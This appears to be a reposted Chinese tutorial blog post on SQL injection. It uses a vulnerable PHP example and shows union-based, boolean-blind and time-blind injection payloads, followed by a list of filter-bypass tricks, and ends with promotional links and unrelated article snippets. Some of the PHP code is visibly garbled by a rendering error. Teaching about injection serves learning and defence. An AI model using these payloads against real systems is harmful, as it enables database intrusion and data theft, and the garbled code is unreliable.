【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解

前言

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

点击此处即可获取282G网络安全零基础入门学习资源】

信息搜集

信息搜集在 SQL 注入攻击中扮演着重要的角色,它为攻击者提供了关键的目标数据库和应用程序信息,帮助攻击者更好地进行后续的攻击操作。

信息搜集主要包括以下几个方面:

1.识别和了解目标数据库:获取目标数据库的类型、版本、表结构、列名以及其他关键信息。
2.获取敏感信息:获取目标数据库中的敏感信息,如用户名、密码、用户权限、财务信息等。
3.发现漏洞和弱点:发现目标应用程序的漏洞和弱点,如不安全的输入验证、不当的错误处理机制等。
4.判断注入点和注入类型:确定目标应用程序存在的注入点,即用户输入数据直接或间接进入 SQL 语句的位置。同时,了解到目标应用程序的数据库交互方式(如直接构造 SQL 语句、使用存储过程等),从而选择最适合的注入类型和方法。

使用以下一些指令获取相关信息:

1.select version():获取数据库版本;
在这里插入图片描述
2.select user():获取数据库用户名;
在这里插入图片描述
3.select database():获取数据库名;
在这里插入图片描述
4.select @@datadir:获取数据库路径;
在这里插入图片描述
5.select @@version_compile_os:获取操作系统版本;
在这里插入图片描述

注入入门

基础注入

假设一个网站的部分源码如下所示:

$sql = “SELECT * FROM users where name='”;
$sql .= $_GET[“name”].“'”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);
if (KaTeX parse error: Expected '}', got 'EOF' at end of input: …lt) { while (row = mysql_fetch_assoc( r e s u l t ) ) e c h o " < t r > " ; e c h o " < t d > " . result)) echo "<tr>"; echo "<td>". result))echo"<tr>";echo"<td>".row[‘id’].“”;
echo “”. r o w [ ′ n a m e ′ ] . " < / t d > " ; e c h o " < t d > " . row['name']."</td>"; echo "<td>". row[name]."</td>";echo"<td>".row[‘age’].“”;
echo “”;
}
echo “”;

那么我们根据其 SQL 语句 SELECT * FROM users where name=’ 进行正常查询时,可以发现不管有没有这个用户名 name,最终都会显示出结果,运行结果如下:
在这里插入图片描述
那么我们据此构造一些恶意语句,比如说使用 union 进行联合查询,使用 union 需要保证前后查询的字段数量保持一致,否则会报错,运行结果如下所示:
在这里插入图片描述
那么根据上述原理,我们可以匹配出网页源码中 SQL 语句里的 * 代表着 5 个字段,运行结果如下所示:
在这里插入图片描述

我们可以构造 SQL 收集一些信息,比如 admin union select version(),user(),database(),4,5–+,运行结果如下:
在这里插入图片描述

SQL 盲注

SQL 盲注是指在进行网络安全测试或攻击时,攻击者通过检测系统的响应来确定系统中存在的漏洞或薄弱点的一种方法。攻击者通常会发送特定的请求到目标系统,并观察系统的响应,如果响应的结果与预期不符,那么可能存在漏洞。通过不断尝试不同的请求和观察响应,攻击者可以逐步获得关于目标系统的信息,并利用这些信息进行进一步的攻击。
假设一个网站的部分源码如下所示:

$sql = “SELECT * FROM users ORDER BY "; $sql = mysql_real_escape_string($_GET["order"])."”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);

接下来我们将采用布尔盲注和时间盲注的方式进行攻击。

布尔盲注

布尔盲注是指在进行 SQL 注入时,根据返回的结果是 True 或者是 False 来得到数据库中的相关信息。
由于网站源码是对 order by 进行了拼接,因此我们不能再使用 union 等方法进行注入,而且这里并没有报错输出,因此采用布尔盲注的方式,为了方便调试,接下来将以 BP 抓包的形式展现。
首先是正常的进行请求,运行结果如下:
在这里插入图片描述

接下来使用布尔盲注,因为上个例子已经知道数据库名是 exercises,因此这里就不做过多猜测,注入语句如下:

order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))

解释一下上述的 SQL 语句,这句 SQL 的目的是通过判断数据库名的第一个字符的 ASCII 码值是否大于100(e 是101),来实现一个条件查询的排序。如果第一个字符的 ASCII 码值大于100,则按照字段名 name (0x6e616d65)升序排序,否则按照括号字符 ( (0x28)的 ASCII 码值来排序。
同时,这句 SQL 中使用了一些函数和技巧:

MID() 函数用于提取字符串的部分字符。
IFNULL() 函数用于判断数据库名是否为空,如果为空,则返回一个空格字符 “0x20”。
CAST() 函数用于将数据库名转换为 NCHAR 类型。
ORD() 函数用于获取一个字符的 ASCII 码值。
CASE WHEN 语句用于判断 ASCII 码值是否大于100。

运行结果:
在这里插入图片描述
推断数据库名的第二个字符的 SQL 语句如下:

order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))

接下来以此类推就可以了。

时间盲注

除了布尔盲注之外,还存在其他的盲注方式,比如时间盲注。

时间盲注是指攻击者向目标应用程序发送恶意的请求时,如果存在时间盲注漏洞,应用程序可能会有不同的响应时间。

正常查询时,所需时间如下:

在这里插入图片描述

构造时间盲注的 SQL 语句:

order=age` and if(ascii(substr(database(),1,1))=101,sleep(1),1)–+

运行结果:
在这里插入图片描述

绕过方式

为了避免 SQL 注入攻击,应用程序会对输入数据进行适当的验证和过滤,而 hacker 会绞尽脑汁地想办法去进行绕过,以下是一些常见的绕过方式。

空格被过滤

1、使用 /xxx/ 行内注释或者 () 进行绕过:

SELECT/1/username,password/1/FROM/1/users;
SELECT(username),(password)FROM(users);

在这里插入图片描述
2、使用 %09 %0a %0b %0c %0d %a0 等不可见字符进行绕过:

%09:TAB 键(水平);
%0a:新建一行;
%0b:TAB 键(垂直);
%0c:新的一页;
%0d:return 功能;
%a0:空格;
假设一个网站的部分源码如下所示:

if (preg_match(‘/ /’, $_GET[“name”])) {
die(“ERROR NO SPACE”);
}
$sql = “SELECT * FROM users where name='”;
$sql .= $_GET[“name”].“'”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);

如果是正常注入的话,会发现空格被过滤了,导致注入失败:
在这里插入图片描述

因此,我们需要使用不可见字符替换空格,下面将使用 %a0 进行替换:
在这里插入图片描述

引号被过滤

使用十六进制代替字符串,比如将 sidiot 的十六进制表示为 0x736964696f74:

SELECT username, password FROM users WHERE username=0x736964696f74

在这里插入图片描述

逗号被过滤

1、使用 from for 代替逗号:

#替换前
select substr(database(),1,1);
#替换后
select substr(database() from 1 for 1);

在这里插入图片描述
2、使用 join 代替逗号:

#替换前
select 1,2;
#替换后
select * from (select 1)a join (select 2)b;

在这里插入图片描述
3、使用 offset 代替逗号:

#替换前
select * from users limit 0,1;

#替换后
select * from users limit 1 offset 0;

在这里插入图片描述

比较符号被过滤

1、用 like, rlike, regexp 代替 =:

select * from users where username like ‘sidiot’;
select * from users where username rlike ‘sidiot’;
select * from users where username regexp ‘sidiot’;

在这里插入图片描述
2、用 greatest()、least() 代替 <>:

#替换前
select * from users where id=1 and ascii(substr(database(),0,1))<64;
#替换后
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
select * from users where id=1 and least(ascii(substr(database(),1,1)),64)=64;

在这里插入图片描述
or/and/xor/not 被过滤

and = &&
or = ||
xor = |
not = !

常用函数被过滤

hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()

后记

通过本文的讲解,我们对 SQL 注入漏洞有了更深入的理解。了解了信息搜集在 SQL 注入过程中的重要性,并学习了一些基础的入门注入技巧和常用的绕过注入方法。因此,我们要意识到 SQL 注入对系统安全造成的严重威胁,在设计和开发阶段就采取必要的安全措施,例如使用参数化查询和限制权限访问等,建立更安全的应用程序,并保护数据的安全性。
以上就是 SQL 注入漏洞之理论讲解 的所有内容了,希望本篇博文对大家有所帮助!
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

网络安全学习路线

对于零基础想入门网络安全的同学,我整理了一份网络安全学习资料给大家,包含成长路线、视频教程、工具安装包、网安面试题等资料。

需要的小伙伴点击此处即可获取

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

以上资源点击此处即可无偿获取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/102693.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件设计师学习笔记12-数据库的基本概念+数据库的设计过程+概念设计+逻辑设计

1.数据库的基本概念 1.1数据库的体系结构 1.1.1常见数据库 ①集中式数据库 数据是集中的&#xff1b;数据管理是集中的 ②C/S结构 客户端负责数据表服务&#xff1b;服务器负责数据库服务&#xff1b;系统分前后端&#xff1b;ODBC、JDBC ③分布式数据库 物理上分布、逻…

Unity可视化Shader工具ASE介绍——5、ASE快捷键和常用节点介绍

大家好&#xff0c;我是阿赵。   继续介绍Unity可视化Shader插件ASE。这次来说一些常用节点的快捷键&#xff0c;顺便介绍一些常用的节点。   用过UE引擎的朋友可能会发现&#xff0c;ASE的整体用法和UE的材质节点编辑器非常的像&#xff0c;甚至连很多节点的快捷键都和UE的…

【iOS】Fastlane一键打包上传到TestFlight、蒲公英

Fastlane一键打包上传到TestFlight、蒲公英 前言一、准备二、探索一、Fastlane配置1、Fastlane安装2、Fastlane更新3、Fastlane卸载4、查看Fastlane版本5、查看Fastlane位置6、Fastlane初始化 二、Fastlane安装蒲公英插件三、Fastlane文件编辑1、Gemfile文件2、Appfile文件3、F…

Jetson Orin NX 开发指南(8): Mavros 的安装与配置

一、前言 由于 Jetson 系列开发板常作为自主无人机的机载电脑&#xff0c;而无人机硬件平台如 PX4 和 ArduPilot 等通过 MAVLink 进行发布无人机状态和位姿等信息&#xff0c;要实现机载电脑与 MAVLink 的通信&#xff0c;必须借助 Mavros 功能包&#xff0c;因此&#xff0c;…

服务器数据恢复-VMWARE ESX SERVER虚拟机数据恢复案例

服务器数据恢复环境&#xff1a; 几台VMware ESX SERVER共享一台某品牌存储&#xff0c;共有几十组虚拟机。 服务器故障&#xff1a; 虚拟机在工作过程中突然被发现不可用&#xff0c;管理员将设备进行了重启&#xff0c;重启后虚拟机依然不可用&#xff0c;虚拟磁盘丢失&#…

设计模式01———简单工厂模式 c#

首先我们打开一个项目 在这个初始界面我们需要做一些准备工作 建基础通用包 创建一个Plane 重置后 缩放100倍 加一个颜色 任务&#xff1a;使用【简单工厂模式】生成四种不同怪物 【按不同路径移动】 首先资源商店下载四个怪物模型 接下来我们选取四个怪物作为预制体并分别起名…

产品经理进阶:如何写商业计划书?

目录 简介 确定目标 确定目标市场 竞争分析 CSDN学院 作者简介 简介 很多时候&#xff0c;我们缺乏的并不是创意。 因为任何人都可能会萌发出一个好的创意。 但是&#xff0c;将想法变成可行的业务就完全是另一码事了。 你可能会认为你自己已经做好充分准备&#xff0…

ARM作业2

.设置按键中断&#xff0c;按键1按下&#xff0c;LED亮&#xff0c;再按一次&#xff0c;灭 按键2按下&#xff0c;蜂鸣器响。再按一次&#xff0c;不响 按键3按下&#xff0c;风扇转&#xff0c;再按一次&#xff0c;风扇停 头文件key_it.h #ifndef __KEY_IT_H__ #define …

git rebase与git merge图文详解(一文看懂区别)

git rebase与git merge图文详解 大家在工作中团队开发的时候对于拉取分支和合并代码时就会涉及到两种选择&#xff0c;git rebase与git merge&#xff1a; rebase&#xff1a;变基&#xff0c;会有一个干净的分支&#xff0c;但是对于记录来源不够清晰merge&#xff1a;合并&am…

Restclient-cpp库介绍和实际应用:爬取www.sohu.com

概述 Restclient-cpp是一个用C编写的简单而优雅的RESTful客户端库&#xff0c;它可以方便地发送HTTP请求和处理响应。它基于libcurl和jsoncpp&#xff0c;支持GET, POST, PUT, PATCH, DELETE, HEAD等方法&#xff0c;以及自定义HTTP头部&#xff0c;超时设置&#xff0c;代理服…

iPhone 如何强制重启

参考iPhone的官方使用手册 传送门 尤其当 iPhone 未响应&#xff0c;也无法将其关机再开机&#xff0c;此方法最有效&#xff1a; 按住调高音量按钮&#xff0c;然后快速松开。按住调低音量按钮&#xff0c;然后快速松开。按住侧边按钮。当 Apple 标志出现时&#xff0c;松开侧…

分类预测 | MATLAB实现KOA-CNN-GRU开普勒算法优化卷积门控循环单元数据分类预测

分类预测 | MATLAB实现KOA-CNN-GRU开普勒算法优化卷积门控循环单元数据分类预测 目录 分类预测 | MATLAB实现KOA-CNN-GRU开普勒算法优化卷积门控循环单元数据分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.MATLAB实现KOA-CNN-GRU开普勒算法优化卷积门控循环单…

大模型评测指标与方法

中文大模型评测和英文评测方法是不一致的&#xff0c;原因&#xff1a; 第一、数据集的差异性。中文和英文的文本数据集在种类、规模、质量等方面存在很大的差异&#xff0c;需要针对中文特点开发相应的数据集&#xff0c;以确保评测结果的准确性和公正性。 第二、语言结构和…

Harmony ArkTS语言

ArkTS语言 前言正文一、声明式UI二、数据列表① 创建ArkTS文件② 添加资源③ 样式④ 组件⑤ 标题组件⑥ 列表头组件⑦ 列表Item组件⑧ 组件生命周期⑨ 渲染列表数据⑩ 单选 三、源码 随着华为宣布鸿蒙后续的版本不再兼容Android应用之后&#xff0c;对于现在的开发环境来说有一…

Java BIO模型分析(提供单线程和多线程服务端代码示例)

目录 一、BIO特点介绍二、BIO代码实现2.1、客户端代码准备2.2、服务端单线程处理2.2.1、服务端代码2.2.2、阻塞代码分析2.2.3、存在问题 2.3、服务端多线程处理2.3.1、服务端代码2.3.2、存在问题 一、BIO特点介绍 BIO(blocking I/O)&#xff1a;同步阻塞IO&#xff0c;在每个I…

【UnityUGUI】复合控件详解,你还记得多少

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;UI_…

linux总结

cat -n filename 查看文件,-n用来给每一行标行号,可以省略 cat /var/log/mysqld.log | grep password 我们可以通过上述指令&#xff0c;查询日志文件内容中包含password的行信息。 more 作用: 以分页的形式显示文件内容 语法: more fileName 操作说明: 回车键 …

企架布道:中电金信应邀出席2023佛山敏捷之旅暨DevOps Meetup

近日&#xff0c;2023佛山敏捷之旅暨DevOps Meetup活动顺利举行&#xff0c;本次活动以助力大湾区金融和互联网企业敏捷DevOps实施和效能提升为主题&#xff0c;共设立 2个会场&#xff0c;16个话题分享&#xff0c;200余位金融、互联网企业相关从业人员齐聚一堂&#xff0c;共…

代码随想录Day15 二叉树 LeetCodeT513 找树左下角的值 T112路径总和 T106 从中序和后序遍历构造二叉树

以上思路来自于:代码随想录 (programmercarl.com) LeetCode T513 找树左下角的值 题目思路: 本题思路:这题我们使用递归法和迭代法解决问题 注意:左下角的值不一定就是一直向左遍历的叶子结点的值,首先可以确定是最后一行的第一个叶子结点的值,也就是最大深度的叶子结点的值 定…

如何打造一个网络框架模块对接服务器

一、了解网络框架的基本原理 在开始打造网络框架模块之前&#xff0c;首先需要了解网络框架的基本原理。网络框架是一个软件模块&#xff0c;用于处理网络通信的各种细节&#xff0c;包括数据传输、协议解析、错误处理等。常见的网络框架有HTTP、TCP/IP、WebSocket等。 对啦&…